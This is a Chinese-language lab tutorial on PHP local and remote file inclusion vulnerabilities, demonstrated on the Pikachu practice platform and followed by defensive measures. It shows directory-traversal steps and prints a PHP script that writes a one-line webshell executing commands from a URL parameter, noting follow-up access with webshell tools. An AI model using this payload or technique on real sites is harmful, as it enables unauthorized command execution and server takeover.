一、概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用“包含”函数功能。比如把一系列功能函数写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?oho include fuction.php?>就可以调用函数代码。
但有些时候,因为网站的功能需求,会让前端用户选择需要包含的文件或者在前端的功能中使用了“包含”功能。又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)
这种情况我们称为“文件包含漏洞”
文件包含漏洞有 “本地文件包含” 和 “远程文件包含” 两种
二、实施过程(以pikachu为例)
本地文件包含:
1.首先,打开pikachu,点开文件包含漏洞的页面
2.随便点击一下,提交查询
3.这时可以看到url上有文件包含的查询,他是从前端去往后端进行查询的
4.接下来可以猜测后台系统有可能是一个Linux系统,而Linux系统有许多固定的配置文件,比如etc下的passwd
这里因为是pikachu是安装在Windows上,所以在其中一个文件夹建立一个文档,来当作获取的文件内容
写 “../../”的作用是退到根目录,这里则是退到了www文件目录中
可以看到成功读取出了文档中内容
攻击成功
远程文件包含:
1.远程包含漏洞前提
2.更改php.ini文件中allow_url_include,后方off改为on
保存后重启phpStudy (须注意allow_url_include比较危险)
3.现在可以进行实验了,首先,基本步骤与本地包含相同
4.构建一个php脚本,写入一句话木马
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
5.然后可以自行搭建一个站点,进行攻击(这里还是用的回环地址)
然后没有反馈,但是一句话脚本已经写入后台
6.到这里,算是攻击成功了,后面就可以使用蚁剑、菜刀等登录后台了,也可以在url上进行一些查询之类的操作
三、如何防御
本地文件包含需要攻击者自己猜目录还只能读取配置文件
远程文件包含就厉害了,攻击者可以自己搭建站点。里面写上恶意代码
传入后台,后台的包含函数就会加载攻击者的恶意代码
1.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
2.过滤各种 ../../ http:// https://
3.配置php.ini配置文件
Allow_url_fopen = off
Allow_url_include = off
4.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。